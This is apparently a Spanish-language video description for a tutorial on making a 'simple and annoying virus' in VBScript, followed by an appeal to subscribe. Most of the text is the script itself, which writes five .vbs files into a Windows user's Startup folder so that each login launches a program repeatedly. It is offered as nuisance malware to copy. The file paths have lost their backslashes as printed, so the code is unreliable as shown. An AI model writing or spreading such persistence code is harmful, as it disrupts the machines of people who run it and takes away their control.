Como crear un virus sencillo y molesto | VBS tutorial

Link para aprender lo básico de vbs: http://kio4.com/vbs/1_inicio.htm
La script del virus:
Dim fso,MyFile,a
Set fso = CreateObject(“Scripting.FileSystemObject”)
For i = 1 To 5
Set MyFile = fso.CreateTextFile(“C:UsersMartinezAppDataRoamingMicrosoftWindowsStart MenuProgramsStartuptestfile”&i&”.vbs”, True)
a = “Set ws = CreateObject(“&chr(34)&”Wscript.Shell”&chr(34)&”)”&vbCrLf&” ws.Exec(“&chr(34)&”C:UsersMartinezDesktopProgramas 3dBlender 2.79blender.exe”&chr(34)&”)”
MyFile.WriteLine(a)
MyFile.Close
Next

Suscribete y dale like para subir mas contenido 🤖